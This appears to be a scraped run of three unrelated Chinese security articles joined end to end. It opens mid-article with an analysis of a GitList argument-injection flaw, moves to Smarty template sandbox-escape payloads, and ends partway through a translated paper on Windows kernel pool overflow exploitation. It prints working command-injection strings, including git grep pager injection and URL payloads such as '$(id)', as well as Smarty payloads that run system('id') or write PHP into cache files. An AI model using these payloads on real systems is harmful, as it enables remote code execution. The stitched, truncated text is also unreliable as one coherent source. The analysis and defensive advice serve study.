for i in sys.argv:
print i
$ python main.py --help
main.py
--help
$ python main.py '--help'
main.py
--help
$
而 PHP 的 `escapeshellarg` 的功能即为:
> `escapeshellarg()` adds single quotes around a string and quotes/escapes any
> existing single quotes allowing you to pass a string directly to a shell
> function and having it be treated as **a single safe argument**. This
> function should be used to escape individual arguments to shell functions
> coming from user input. The shell functions include
> [exec()](http://php.net/manual/en/function.exec.php),
> [system()](http://php.net/manual/en/function.system.php) and the [backtick
> operator](http://php.net/manual/en/language.operators.execution.php).
有一句比较重要的话是 `having it be treated as a single safe argument`
例如:
$ git grep -i --line-number '--open-files-in-pager=php -r "system(id);"' master
PHP Notice: Use of undefined constant id - assumed 'id' in Command line code on line 1
uid=500(ubuntu) gid=500(ubuntu) groups=500(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
$ git grep -i --line-number --open-files-in-pager=php -r "system(id);" master
error: unknown switch `r'
usage: git grep [<options>] [-e] <pattern> [<rev>...] [[--] <path>...]
上述代码中, 第二条命令, 我们原本的意图为:
想让 git 认为 `--open-files-in-pager` 这个参数的值 `php -r "system(id);"`
但是因为 sh 在解析命令的时候会使用 `${IFS}` 来分隔参数
导致的结果为 `php -r "system(id);"` 中的 `-r` 被解析为 `git-grep` 的一个参数 `-r`
事实上 `git-grep` 是没有这个参数的… 因此命令不能得到执行
实际上 `--open-files-in-pager` 的值变成了 `php`, 而不是 `php -r "system(id);"`
而第一种, 则会正确执行, 这和上述的 php escapeshellarg 文档中的说法一致, 只能解析一个参数
猜想 git 在实现参数解析的时候还会对 sh 传入的参数使用 `=` 进行分隔, 得到键值对, 之后的源码分析也将会证实这一点
>
> <https://github.com/git/git/blob/26e47e261e969491ad4e3b6c298450c061749c9e/builtin/grep.c#L894>
程序自己怎么对参数进行处理是程序自己的事情, shell 所做的工作就是使用 `${IFS}` 把用户在 shell 中输入的一个字符串分隔,
并进行一些转义的解码, 然后传递给新的进程的 `char *argv[]`, 这个漏洞的问题就在于 `git-grep`
这个命令是可以通过参数来指定显示结果所使用的文本编辑器的: `vi` / `less`, 但是并没有将参数值限制在这两个编辑器中,
这样就给了我们执行任意命令的余地
## 思考
下面的内容大概分为几个部分:
* `$branch` 是否可以用来命令注入, 看起来似乎没有被过滤
* `git-grep` 命令是怎么实现的? 是通过原生的代码实现正则引擎, 还是也是在内部调用了 `grep` 命令, 如果调用了 grep 命令, 那么是否有可能存在漏洞?
* 类似的漏洞 [CVE-2017-8386](https://www.leavesongs.com/PENETRATION/git-shell-cve-2017-8386.html)
* 是否有别的系统也存在类似的漏洞
* 安全开发
### 一. `$branch` 是否可以用来命令注入
可以看到 GitList 使用了 [Silex](https://silex.symfony.com/) 进行路由的控制：
> <https://github.com/silexphp/Silex>
>
> <https://github.com/klaussilveira/gitlist/blob/master/src/Provider/ViewUtilServiceProvider.php#L6>
跟进代码可以发现，$branch 这个参数是从 GET 参数中传递过来的
>
> <https://github.com/klaussilveira/gitlist/blob/d5f2ae5a81f8e7912b21efdc0046df1991ac62b1/src/Controller/TreeController.php#L51>
>
在 `Silex` 中，对参数的处理规则如下：
> <https://silex.symfony.com/doc/2.0/usage.html#route-variables>
GitList 会调用 Escape.ArgumentEscaper.escape 来对 $branch 进行处理
>
> <https://github.com/klaussilveira/gitlist/blob/d5f2ae5a81f8e7912b21efdc0046df1991ac62b1/src/Escaper/ArgumentEscaper.php>
这里对 $branch 调用了 `escapeshellcmd`
PS: 这里其实 $branch 是作为参数身份的… 但是却调用了 escapeshellcmd 来对其进行处理, 感觉有点奇怪
这个限制可以说很死了，应该不能再进行利用了。
### 二. `git-grep` 命令是怎么实现的
之前在申请 Google Summer of Code 项目的时候有关注过 Git 这个项目, 其中有一个 Idea 是将诸如 git-rebase
这样的命令重新用 C 语言来实现, 也就是目前暂时的实现是 bash 脚本
翻了一下 Git 的源码, 找到 git-grep 命令的实现方式, 如下:
> builtin/grep.c
>
>
> int cmd_grep(int argc, const char **argv, const char *prefix)
>
>
>
该函数中最终调用了 execve 来执行命令, 我们可以在这个函数执行的时候, 将参数打印出来进行观察
struct child_process {
const char **argv;
struct argv_array args;
struct argv_array env_array;
pid_t pid;
/*
* Using .in, .out, .err:
* - Specify 0 for no redirections (child inherits stdin, stdout,
* stderr from parent).
* - Specify -1 to have a pipe allocated as follows:
* .in: returns the writable pipe end; parent writes to it,
* the readable pipe end becomes child's stdin
* .out, .err: returns the readable pipe end; parent reads from
* it, the writable pipe end becomes child's stdout/stderr
* The caller of start_command() must close the returned FDs
* after it has completed reading from/writing to it!
* - Specify > 0 to set a channel to a particular FD as follows:
* .in: a readable FD, becomes child's stdin
* .out: a writable FD, becomes child's stdout/stderr
* .err: a writable FD, becomes child's stderr
* The specified FD is closed by start_command(), even in case
* of errors!
*/
int in;
int out;
int err;
const char *dir;
const char *const *env;
unsigned no_stdin:1;
unsigned no_stdout:1;
unsigned no_stderr:1;
unsigned git_cmd:1; /* if this is to be git sub-command */
unsigned silent_exec_failure:1;
unsigned stdout_to_stderr:1;
unsigned use_shell:1;
unsigned clean_on_exit:1;
unsigned wait_after_clean:1;
void (*clean_on_exit_handler)(struct child_process *process);
void *clean_on_exit_handler_cbdata;
};
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
[Switching to Thread 0xb7dd2700 (LWP 12047)]
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x8379458 --> 0xbfffffdb ("COLUMNS=159")
ECX: 0xbfffe6bc --> 0x0
EDX: 0x0
ESI: 0x41 ('A')
EDI: 0xbfffe6bc --> 0x0
EBP: 0xb7dd26c0 --> 0x16
ESP: 0xbfffe5c0 --> 0xbfffe67c --> 0xffffffff
EIP: 0x817ba40 (<start_command+1776>: mov eax,DWORD PTR [esp+0x2c])
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x817ba35 <start_command+1765>: add esp,0x10
0x817ba38 <start_command+1768>: test eax,eax
0x817ba3a <start_command+1770>: jne 0x817c553 <start_command+4611>
=> 0x817ba40 <start_command+1776>: mov eax,DWORD PTR [esp+0x2c]
0x817ba44 <start_command+1780>: sub esp,0x4
0x817ba47 <start_command+1783>: push ebx
0x817ba48 <start_command+1784>: lea edx,[eax+0x4]
0x817ba4b <start_command+1787>: push edx
[------------------------------------stack-------------------------------------]
0000| 0xbfffe5c0 --> 0xbfffe67c --> 0xffffffff
0004| 0xbfffe5c4 --> 0xbfffe818 --> 0x836f038 --> 0x8361118 --> 0x8006469
0008| 0xbfffe5c8 --> 0xbfffe5ec --> 0x8376bd0 --> 0x83717f0 ("/bin/sh")
0012| 0xbfffe5cc --> 0xffffffff
0016| 0xbfffe5d0 --> 0x0
0020| 0xbfffe5d4 --> 0x0
0024| 0xbfffe5d8 --> 0x0
0028| 0xbfffe5dc --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Thread 3.1 "git" hit Breakpoint 3, start_command (cmd=0xbfffe818) at run-command.c:818
818 execve(argv.argv[1], (char *const *) argv.argv + 1,
gdb-peda$ p argv.argv[1]
$12 = 0x83793c8 "/usr/bin/id"
gdb-peda$ p argv.argv[2]
$13 = 0x8371878 ".gitmodules"
gdb-peda$ p argv.argv[3]
$14 = 0x8371888 "Documentation/Makefile"
最后只是通过 exceve 执行了 $pager 的命令
继续看代码发现了函数:
static void compile_pcre1_regexp(struct grep_pat *p, const struct grep_opt *opt)
> <https://www.pcre.org/>
调用了 PCRE 这个正则库, 因此这里应该不存在命令注入漏洞了
### 三. 类似的漏洞
参考 phith0n 的文章:
> <https://www.leavesongs.com/PENETRATION/git-shell-cve-2017-8386.html>
其中使用到了命令 `git-upload-archive`
本地执行发现该命令的 `--help` 这个命令最终是调用了 `less` 来展示帮助信息的
那么我们怎么才能发现所有的这种 `--help` 会执行 `less` 命令的命令呢?
写一个 shell 脚本试试
➜ /tmp for i in `ls /sbin/*`
do
$i --help && echo $i && sleep 3
done
目前已经发现的命令如下:
/bin/bzless --help
/bin/journalctl --help
/bin/less --help
/bin/systemctl --help
/usr/bin/git-receive-pack --help
/usr/bin/git-upload-archive --help
/sbin/ifenslave --help
/sbin/ifenslave-2.6 --help
那么假设我们已经可以通过某些手段可以控制上述命令的参数（非HTTP）那么我们就可以依托于 `--help` 调用了 `less`，再通过 `less`
来执行系统命令。
### 四. 是否有别的系统也存在类似的漏洞
测试系统:
Codiad 无
### 五. 安全开发
个人觉得这种注入的漏洞都是因为在两个组件通信的过程中产生的，本质上都是程序员预期执行的操作和实际执行的操作产生了差异，例如
1. 命令注入，开发者要执行特定系统命令，必须把命令转换成一个字符串，然后传给执行者（也就是 shell ），然后 shell 再解析，这个传递过程就可能会出现信息传递不对等的问题，就很容易造成实际执行命令和预期执行的产生差别
2. sql注入：开发者有和数据库软件通信的需求，但是他无法直接操作数据库软件，只能通过数据库软件提供的api（也就是sql，一个字符串），这样就可能出现差别
程序员的意图在这个转化的过程中传递：
3. 需要先对意图进行表述，表述为一种统一的格式，在 命令执行 和 sql 注入中都表述为了一个字符串
4. 然后由执行者解析，执行系统命令或者 sql query
1 和 2 这两个过程任意一个出现问题就可能造成漏洞（或者bug）
例如 PHP 的这个`pcntl_exec`函数:
> <http://php.net/manual/en/function.pcntl-exec.php>
> 该函数可以将命令的参数作为数组传入, 这样可以最大程度避免命令注入的问题
例如如下几种编程例子：
// Level 0: 小白程序员
<?php
$name = $_GET['name'];
system("echo $name");
// Hacker: 没有任何过滤
http://127.0.0.1/index.php?name=evil | id
http://127.0.0.1/index.php?name=evil %0a id
http://127.0.0.1/index.php?name=evil & id
http://127.0.0.1/index.php?name=evil && id
http://127.0.0.1/index.php?name=`id`
http://127.0.0.1/index.php?name=$(id)
// Level 1: 初级程序员
<?php
$name = escapeshellarg($_GET['name']);
system("echo '$name'");
// Hacker: 虽然使用了 escapeshellarg, 但是用法错误, 仍然可以逃逸
// 由于 escapeshellarg 这个函数会在字符串外部添加单引号包裹，因此当参数被该函数处理过后，直到执行之前，都不应该再在外部出现不必要的单引号
// 因此这里如果用户传入的 name 为 `| id | echo `
// 那么被执行的命令就是 echo ''| id | echo '' 被注入恶意命令
// Level 2: 中级程序员
<?php
$name = escapeshellarg($_GET['name']);
system(escapeshellcmd("echo ".$name));
// 参考文章: https://ferruh.mavituna.com/unix-command-injection-cheat-sheet-oku/
// 策略: escapeshellcmd 与 escapeshellarg 不可同时使用
// Level 3: 了解安全的程序员
<?php
$query = $_GET['query']; // $query = "--open-files-in-pager=w";
$branch = "master";
pcntl_exec(
"/usr/bin/git",
array("grep", "-i", "--line-number", $query, $branch),
array("PATH"=>"/usr/bin/")
);
// 这样的写法一般情况下可以防止绝大多数的命令注入漏洞，但是在这个漏洞中也是有问题的
// 因为这个漏洞命令注入的位置是在`传值类的参数`的`值`的这个地方，只要用户可以控制一对`参数`和`值`（注意这里说的`一对`在 shell 看来其实是一个参数，例如 `--open-files-in-pager=php`），那么就可以利用该漏洞
// 而上面的写法并不能防止这个问题
根据上述 `Level 3`，再来看看修复方案：
开发者在参数中添加了 `--` 解决了这个问题：
根据文章：<https://www.gnu.org/software/bash/manual/bash.html#Shell-Builtin-Commands>
A -- signals the end of options and disables further option processing.
Any arguments after the -- are treated as filenames and arguments.
可以得知：`--` 是 `bash` 的一个内置功能
看到这里，脑海中冒出一个疑问，`--` 只是 shell (bash) 的一个功能吗？应用程序在实现的时候会不会处理这个参数呢？
有两种情况：
1. bash 读入一条命令，利用 ${IFS} 分割这个命令，将其转换为字符串数组，其中需要将 `--` 之后的字符串全部视为整个字符串传入 exec 族的函数
2. bash 读入一条命令，利用 ${IFS} 分割这个命令，将其转换为字符串数组，将这个字符串数组作为 `char * argv[]` 直接传入 exec 族函数，由于应用程序对 `--` 这个参数进行处理
我们可以进行以下测试：（由于 php 在执行系统命令的时候调用了 sh 而不是 bash ，因此直接使用 gdb 调试sh），sh
在执行命令的时候使用系统调用 execve 来完成
> <http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/>
> 64 位系统调用参数传递方式为：
> `man syscall`
The second table shows the registers used to pass the system call argu‐
ments.
arch/ABI arg1 arg2 arg3 arg4 arg5 arg6 arg7 Notes
──────────────────────────────────────────────────────────────
alpha a0 a1 a2 a3 a4 a5 - arc r0 r1 r2 r3 r4 r5 - arm/OABI a1 a2 a3 a4 v1 v2 v3
arm/EABI r0 r1 r2 r3 r4 r5 r6
arm64 x0 x1 x2 x3 x4 x5 - blackfin R0 R1 R2 R3 R4 R5 - i386 ebx ecx edx esi edi ebp - ia64 out0 out1 out2 out3 out4 out5 - m68k d1 d2 d3 d4 d5 a0 - microblaze r5 r6 r7 r8 r9 r10 - mips/o32 a0 a1 a2 a3 - - - [1]
mips/n32,64 a0 a1 a2 a3 a4 a5 - nios2 r4 r5 r6 r7 r8 r9 - parisc r26 r25 r24 r23 r22 r21 - powerpc r3 r4 r5 r6 r7 r8 r9
s390 r2 r3 r4 r5 r6 r7 - s390x r2 r3 r4 r5 r6 r7 - superh r4 r5 r6 r7 r0 r1 r2
sparc/32 o0 o1 o2 o3 o4 o5 - sparc/64 o0 o1 o2 o3 o4 o5 - tile R00 R01 R02 R03 R04 R05 - x86-64 rdi rsi rdx r10 r8 r9 - x32 rdi rsi rdx r10 r8 r9 - xtensa a6 a3 a4 a5 a8 a9 -
> 在调试器中直接打印 $rsi
sun@sun:~$ gdb -q
gdb-peda$ file sh
Reading symbols from sh...(no debugging symbols found)...done.
gdb-peda$ b execve
Breakpoint 1 at 0x4510
gdb-peda$ run -c 'ls -- -al'
Starting program: /bin/sh -c 'ls -- -al'
[New process 9252]
[Switching to process 9252]
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x5555557753f0 --> 0x736c2f6e69622f ('/bin/ls')
RCX: 0x5555557753f8 --> 0x6c2f6e0000736c00 ('')
RDX: 0x5555557751a8 --> 0x7fffffffefa8 ("LESSOPEN=| /usr/bin/lesspipe %s")
RSI: 0x555555773b90 --> 0x555555773b40 --> 0x736c ('ls')
RDI: 0x5555557753f0 --> 0x736c2f6e69622f ('/bin/ls')
RBP: 0x555555773b90 --> 0x555555773b40 --> 0x736c ('ls')
RSP: 0x7fffffffda18 --> 0x55555555ba4e (cmp rbx,r12)
RIP: 0x7ffff7ac8e30 (<execve>: mov eax,0x3b)
R8 : 0x7ffff7dcfc40 --> 0x0
R9 : 0x0
R10: 0x555555774010 --> 0x100000000
R11: 0x7ffff7b933c0 --> 0xfff074f0fff074e0
R12: 0x555555569f59 --> 0x68732f6e69622f ('/bin/sh')
R13: 0x5555557751a8 --> 0x7fffffffefa8 ("LESSOPEN=| /usr/bin/lesspipe %s")
R14: 0x7fffffffda20 --> 0x400
R15: 0x7fffffffeeb5 ("/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/home/sun/.rvm/bin:/home/sun/.rvm/bin")
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7ffff7ac8e22 <__GI__exit+82>: mov DWORD PTR fs:[r9],eax
0x7ffff7ac8e26 <__GI__exit+86>: jmp 0x7ffff7ac8dfe <__GI__exit+46>
0x7ffff7ac8e28: nop DWORD PTR [rax+rax*1+0x0]
=> 0x7ffff7ac8e30 <execve>: mov eax,0x3b
0x7ffff7ac8e35 <execve+5>: syscall
0x7ffff7ac8e37 <execve+7>: cmp rax,0xfffffffffffff001
0x7ffff7ac8e3d <execve+13>: jae 0x7ffff7ac8e40 <execve+16>
0x7ffff7ac8e3f <execve+15>: ret
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda18 --> 0x55555555ba4e (cmp rbx,r12)
0008| 0x7fffffffda20 --> 0x400
0016| 0x7fffffffda28 --> 0x7ffff7a7ccfd (<__GI___libc_realloc+205>: test rax,rax)
0024| 0x7fffffffda30 --> 0xb0
0032| 0x7fffffffda38 --> 0x7ffff7dcfc40 --> 0x0
0040| 0x7fffffffda40 --> 0xd0
0048| 0x7fffffffda48 --> 0x3f0
0056| 0x7fffffffda50 --> 0x555555773aa0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Thread 2.1 "sh" hit Breakpoint 1, execve ()
at ../sysdeps/unix/syscall-template.S:78
78 ../sysdeps/unix/syscall-template.S: No such file or directory.
gdb-peda$ x /8x $rsi
0x555555773b90 <stackbase+240>: 0x0000555555773b40 0x0000555555773b58
0x555555773ba0 <stackbase+256>: 0x0000555555773b70 0x0000000000000000
0x555555773bb0 <stackbase+272>: 0x00007fffffffefa8 0x00007fffffffea4d
0x555555773bc0 <stackbase+288>: 0x00007fffffffeb0f 0x00007fffffffefdc
gdb-peda$ x /s 0x0000555555773b40
0x555555773b40 <stackbase+160>: "ls"
gdb-peda$ x /s 0x0000555555773b58
0x555555773b58 <stackbase+184>: "--"
gdb-peda$ x /s 0x0000555555773b70
0x555555773b70 <stackbase+208>: "-al"
从上述日志中，我们可以的得出 `sh` 并不会对 `--` 进行处理，会将其直接传入命令，是否支持 `--` 得看具体的应用程序是否支持 `--`
来结束参数的输入
也就是说在这个漏洞的修复中，开发者是查阅了 git 的文档
> <https://git-scm.com/docs/git-grep>
>
发现 git 是支持使用 `--` 来结束参数的输入的，才采取了这样的措施来修复这个漏洞，那么如果 git 不支持 `--` 的话，就算添加了 `--`
也是没有作用的
PS: 不过这个 `--` 用来结束参数的输入这个设定在绝大多数 Unix 的程序中都被支持，可以算是一个“潜”规则吧。
关于开发的启示：
1. 尽可能避免执行系统命令来实现某些功能，除非该功能实现起来实在非常困难，否则首选使用脚本语言自己实现
2. 在执行系统命令的时候检查用户输入参数（即可控部分）
3. 使用 `pcntl_exec` 这类可以限制一次只执行一条命令并且参数为数组传入的函数而不是 `system` 这种直接调用 sh 去执行命令的函数
4. 在使用 `pcntl_exec` 之前也需要小心地检查被执行的命令是否存在执行子命令的可能，如果有则需要尽可能避免
## 搭建漏洞环境
参考如下链接:
* <https://www.sitepoint.com/installing-gitlist-for-local-repos/>
* <https://github.com/klaussilveira/gitlist#installation>
* * *
## 参考文献
* 代码:
>
> <https://github.com/git/git/blob/26e47e261e969491ad4e3b6c298450c061749c9e/builtin/grep.c>
* 分析文章
> <https://www.leavesongs.com/PENETRATION/escapeshellarg-and-parameter-> injection.html>
> <https://security.szurek.pl/exploit-bypass-php-escapeshellarg-> escapeshellcmd.html>
> <https://chybeta.github.io/2018/04/30/GitList-0-6-Unauthenticated-> RCE-%E5%88%86%E6%9E%90/>
> <http://hatriot.github.io/blog/2014/06/29/gitlist-rce/>
* POC
> <https://www.exploit-db.com/exploits/44548/>
* 环境搭建
> <https://www.sitepoint.com/installing-gitlist-for-local-repos/>
* 文档
> <http://php.net/manual/en/function.escapeshellarg.php>
* Git 漏洞
> <https://www.leavesongs.com/PENETRATION/git-shell-cve-2017-8386.html>
* 其他参考文章
> <https://paper.seebug.org/164/>
> <https://ferruh.mavituna.com/unix-command-injection-cheat-sheet-oku/>
> <https://www.owasp.org/index.php/OS_Command_Injection_Defense_Cheat_Sheet>
* * *
作者：王一航
GitHub: <https://github.com/WangYihang>
日期：2018/05/27 | 社区文章 |
# SmartyPHP沙箱逃逸分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 介绍
Smarty是一个使用PHP写出来的模板引擎，是目前业界最著名的PHP模板引擎之一。它分离了逻辑代码和外在的内容，提供了一种易于管理和使用的方法，用来将原本与HTML代码混杂在一起PHP代码逻辑分离。简单的讲，目的就是要使PHP程序员同前端人员分离，使程序员改变程序的逻辑内容不会影响到前端人员的页面设计，前端人员重新修改页面不会影响到程序的程序逻辑，这在多人合作的项目中显的尤为重要。
## 沙箱
沙盒是一种安全机制，为运行中的程序提供的隔离环境。通常是作为一些来源不可信、具破坏力或无法判定程序意图的程序提供实验之用。
沙盒通常严格控制其中的程序所能访问的资源，比如，沙盒可以提供用后即回收的磁盘及内存空间。在沙盒中，网络访问、对真实系统的访问、对输入设备的读取通常被禁止或是严格限制。从这个角度来说，沙盒属于虚拟化的一种。
沙盒中的所有改动对操作系统不会造成任何损失。通常，这种技术被计算机技术人员广泛用于测试可能带毒的程序或是其他的恶意代码
在smarty php中
sandbox默认为
<?php
include_once('../libs/Smarty.class.php');
$smarty = new Smarty();
$smarty->enableSecurity();
$smarty->display($_GET['poc']);
更严格的沙箱机制为
<?php
include_once('../libs/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);
$smarty->display($_GET['poc']);
## payload
版本: Smarty Template Engine <= 3.1.38
?poc=string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}
?poc=string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system(\'id\')}')}
?poc=string:{function+name='rce(){};system("id");function+'}{/function}
## 漏洞分析
### 静态分析
在process函数中我们可以发现首先判断了
是否存在缓存文件
如果不存在缓存文件就新建一个文件，如果存在缓存文件就include它
所以payload执行两次就可以进行命令执行
在此我们就在此进行了代码的插入
我们看一下
就可以将我们的payload写入缓存文件当中
payload1 进行的就是再将缓存文件写入自己插入的代码
payload2 进行的是先将smarty的enableSecurity()再指向了disableSecurity（）再进行命令执行
payload3
进行的是Smarty_Internal_Runtime_TplFunction在tplFunctions的定义时没有正确的过滤所以导致的命令执行
payload 2、3可以绕过更严格的沙箱机制进行沙箱逃逸
### 动态调试
首先我们在display处下断点
可以发现它进入了Smarty_Internal_TemplateBase的_execute
我们可以看到
首先执行_getSmartyObj();
也就是新建了一个Smarty的对象
之后进入if判断跳转到了这里
我们可以看见是要新建一个template的对象
执行之后可以发现已经将我们的payload储存到了template_resource当中
再下面就是操作数据、合并数据等操作了
我们直接进入render函数当中
在这里我们可以发现由于缓存文件不存在因此我们要新建一个缓存文件
这就是我们新建的cache的初始状态
我们可以发现，我们就调用了writeFile将<?php phpinfo;写入
执行后我们就能发现缓存文件变为了我们插入的代码
再次运行一次
由于我们已经有了这个缓存文件
所以就直接include这个文件了
同理
执行命令执行时
缓存文件变成了
都可以执行命令执行之后include后获得回显
## 参考文章
<https://srcincite.io/blog/2021/02/18/smarty-template-engine-multiple-sandbox-escape-vulnerabilities.html> | 社区文章 |
**作者：Muoziiy@天玄安全实验室**
**原文链接：<https://mp.weixin.qq.com/s/gjMx3-HPEzJPV8PVBUufqA>**
## 前言
在野利用的CVE-2021-31956样本，利用过程中使用了WNF来获取任意地址读写原语，但由于我对WNF不熟悉，所以暂时没有看WNF这块的内容。那么最终我是通过Scoop
the Windows 10
pool这篇文章中的思路实现了CVE-2021-31956的利用，利用过程基本和这篇文章一致，区别可能就是申请漏洞块并实现溢出那里需要自行研究一下。由于众所周知的原因，这里不对CVE-2021-31956进行分析，而是对这篇文章进行翻译并对其中的demo进行了分析和复现。
由于本人对内核这块的研究时间不长，对Windows内部机制的理解也不够深入，且英文水平有限，所以翻译和复现的过程中，难免会出现一些错误和理解不到位的地方，如果你发现了任何问题，请与作者联系。
原文及DEMO地址：<https://github.com/synacktiv/Windows-kernel-SegmentHeap-Aligned-Chunk-Confusion>
## 摘要
堆溢出是应用程序中相当常见的漏洞。利用这些漏洞通常需要对堆的底层管理机制非常了解。Windows10最近改变了内核中堆的管理方式，本文旨在介绍Windows
NT内核堆管理机制的最新发展，同时介绍对内核池的新的利用技术。
## 1 介绍
池是Windows系统为内核层保留的堆空间。多年来，池内存的分配一直非常具体，且与用户层的分配是不同的。自2019年3月，Windows
10更新了19H1以来，这一切都改变了。在用户层众所周知，且已经文档化的段堆被引入内核。
但是，内核层实现的分配器和用户层实现的分配器仍然存在一些不同，因为内核层仍然需要一些特定的材料。本文从利用的角度出发，重点讨论内核段堆自定义内部结构。
文章中介绍的研究内容是针对x64架构的，对于不同的架构需要进行哪些调整尚未研究。
在简单的介绍了池内部结构的历史之后，本文将说明段堆在内核中是如何实现的，以及对内核池特定材料有什么影响。然后，本文将介绍一种利用内核池中堆溢出漏洞对池内部进行攻击的新技术。最后，将介绍一种通用的利用手法，它使用了最小的受控堆溢出，并允许本地特权从低完整性级别升级到SYSTEM。
### 1.1 池内部
本文不会深入讨论池分配器的内部结构，因为这个主题已经被广泛地讨论过了 [5]，但是为了全面理解这篇文章，还是需要快速地回顾一下一些内部结构。
本节将介绍 Windows 7
中的一些池内部结构，以及过去几年中对池进行的各种缓解和更改。这里说明的内部结构将聚焦在适合单个页面的块上，这是内核中最常见的分配。大于0xFE0的分配行为不在今天的讨论范围内。
**在池中分配内存**
Windows内核中，分配和释放池内存的主要函数分别是ExAllocatePoolWithTag和ExFreePoolWithTag。
void * ExAllocatePoolWithTag (
POOL_TYPE PoolType ,
size_t NumberOfBytes ,
unsigned int Tag
);
void ExFreePoolWithTag (
void * P,
unsigned int Tag
);
PoolType是一个位域，与下面列举的值关联
NonPagedPool = 0
PagedPool = 1
NonPagedPoolMustSucceed = 2
DontUseThisType = 3
NonPagedPoolCacheAligned = 4
PagedPoolCacheAligned = 5
NonPagedPoolCacheAlignedMustSucceed = 6
MaxPoolType = 7
PoolQuota = 8
NonPagedPoolSession = 20h
PagedPoolSession = 21h
NonPagedPoolMustSucceedSession = 22h
DontUseThisTypeSession = 23h
NonPagedPoolCacheAlignedSession = 24h
PagedPoolCacheAlignedSession = 25h
NonPagedPoolCacheAlignedMustSSession = 26h
NonPagedPoolNx = 200h
NonPagedPoolNxCacheAligned = 204h
NonPagedPoolSessionNx = 220h
PoolType中可以存储若干信息：
* 使用的内存类型，可以是NonPagedPool、PagedPool、SessionPool或NonPagedPoolNx；
* 如果分配是关键的（bit 1）并且必须成功。那么当分配失败，就会触发BugCheck；
* 如果分配与缓存大小对齐（bit 2）
* 如果分配使用了PoolQuota机制(bit 3)
* 其他未文档化的机制
使用的内存类型很重要，因为它隔离了不同内存范围中的分配。使用的两种主要内存类型是PagedPool和NonPagedPool。MSDN文档将其描述如下：
`非分页池（NonpagedPool）是不可分页的系统内存，它可以从任何IRQL访问，但非分页内存是一种稀缺资源，驱动程序应当在必须使用时才去分配非分页内存。分页池（Paged）是可分页的系统内存，只能在IRQL<DISPATCH_LEVEL时分配和访问。`
如1.2节所述，在Win8中引入了NonPagedPoolNx，必须使用它来替代NonpagedPool。
SessionPool用于会话空间的分配，对每个用户会话都是唯一的，主要在win32k中使用。
最后，Tag是一个1到4个字符的非零字符文本（例如，“Tag1”）。建议内核开发人员按代码路径使用唯一的Tag，以帮助调试器和验证器识别代码路径。
**POOL_HEADER**
在池中，适合单个页面的所有块都以POOL_HEADER结构开头，POOL_HEADER包含分配器所需信息和Tag信息。当试图在Windows内核中利用堆溢出漏洞时，首先要覆盖的就是POOL_HEADER结构。攻击者有两个选择：重写一个正确的POOL_HEADER结构，并用来攻击下一个块的数据，或者直接攻击POOL_HEADER结构。
不管用哪种攻击方法，POOL_HEADER都会被覆盖，同时需要对POOL_HEADER的每个字段及其如何使用非常了解，才能够利用这种漏洞。本文将主要关注直接攻击POOL_HEADER。
//Windows 1809 中简化的 POOL_HEADER 结构
struct POOL_HEADER
{
char PreviousSize;
char PoolIndex;
char BlockSize;
char PoolType;
int PoolTag;
Ptr64 ProcessBilled ;
};
POOL_HEADER的结构在过去的一段时间里，略微有些变化，但始终保持着一些主要字段。在Windows 1809，19H1之前，所有的字段都会被用到。
PreviousSize：之前的块的大小除以16
PoolIndex：PoolDescriptor数组中的索引
BlockSize：当前分配的大小除以16
PoolType：包含分配类型信息的位域
ProcessBilled：指向分配内存的进程的KPROCESS的指针，只有PoolType中包含PoolQuota标志时，才设置此字段。
### 1.2自win7开始的攻击和缓解措施
Tarjei Mandt及其论文《Windows
7上的内核池攻击》[5]是针对内核池攻击的参考资料。它展示了整个池的内部结构和众多的攻击，其中一些攻击的目标是POOL_HEADER。
**Quota Process Pointer Overwrite**
分配可以针对给定进程收取配额（这里不知道怎么翻译，只能直译了）。为此，ExAllocatePoolWithQuotaTag将利用POOL_HEADER中的ProcessBilled字段来存储指向负责分配的进程的_KPROCESS的指针。
在本文中，攻击被描述为 Quota Process Pointer Overwrite（配额进程指针覆盖）。
攻击利用堆溢出来覆盖已分配的块的POOL_HEADER中的ProcessBilled指针，当块被释放时，如果块的PoolType包含PoolQuota（0x8）标志，那么ProcessBilled字段存储的指针将被用于解引用一个值。所以控制ProcessBilled指针可以提供一个任意指针解引用原语。这足以从用户态实现权限提升。图1展示了这种攻击。
图1. 利用配额进程指针覆盖进行攻击
自Windows
8开始，随着ExpPoolQuotaCookie的引入，这种攻击已经被缓解。Cookie值在系统启动引导阶段生成，用于保护指针不被攻击者覆盖。例如，它对ProcessBilled字段使用XOR运算。
ProcessBilled = KPROCESS_PTR ^ ExpPoolQuotaCookie ^ CHUNK_ADDR
当块被释放时，内核将检查编码的指针是否是一个有效的KPROCESS指针。
process_ptr = (struct _KPROCESS *)(chunk_addr ^ ExpPoolQuotaCookie ^ chunk_addr ->process_billed );
if ( process_ptr )
{
if (process_ptr < 0xFFFF800000000000 || (process_ptr ->Header.Type & 0x7F) != 3 )
KeBugCheckEx ([...])
[...]
}
